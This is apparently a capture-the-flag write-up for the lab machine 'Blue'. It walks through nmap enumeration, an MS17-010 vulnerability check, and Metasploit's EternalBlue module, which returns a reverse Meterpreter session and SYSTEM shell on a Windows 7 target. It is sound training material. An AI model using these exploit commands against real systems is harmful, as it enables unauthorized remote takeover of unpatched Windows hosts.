Machine Overview

Blue is a Windows 7 Professional machine that is vulnerable to MS17-010 (EternalBlue), a critical remote code execution vulnerability in Microsoft's SMBv1 protocol. This vulnerability allows for direct exploitation to obtain SYSTEM-level access without requiring privilege escalation.

Enumeration

Nmap Scan

We start with a nmap scan to identify open ports and services:

nmap -sC -sV -A -oN nmap.txt 10.10.10.40

Scan Results:

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC

Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   210:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-11-01T11:24:57+00:00

Key findings:

• Port 445 (SMB) is open and running on Windows 7 Professional 7601 Service Pack 1.
• SMB message signing is disabled, which is a security risk.
• The system appears to be running an older version of Windows 7 that may be vulnerable to known SMB exploits.

Vulnerability Scan

Since we've identified an older Windows 7 system with SMB exposed, we check for the MS17-010 (EternalBlue) vulnerability:

nmap -p445 --script smb-vuln-ms17-010 10.10.10.40

Scan Results:

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

The target is confirmed vulnerable to MS17-010 (EternalBlue), a critical remote code execution vulnerability that allows attackers to execute arbitrary code on the target system without authentication.

Exploitation

We use Metasploit's EternalBlue exploit module to gain initial access:

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.40
set LHOST utun4
run

Successful Exploitation:

meterpreter > sysinfo
Computer        : HARIS-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_GB
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/window

The exploit successfully executed, and we now have a Meterpreter session. Let's verify our privileges:

meterpreter > shell
Process 3004 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

We immediately gained SYSTEM-level access without requiring any privilege escalation. The EternalBlue exploit grants us the highest level of privileges on the Windows system.

User & Root Flags

• User: C:\Users\haris\Desktop\user.txt
• Root: C:\Users\Administrator\Desktop\root.txt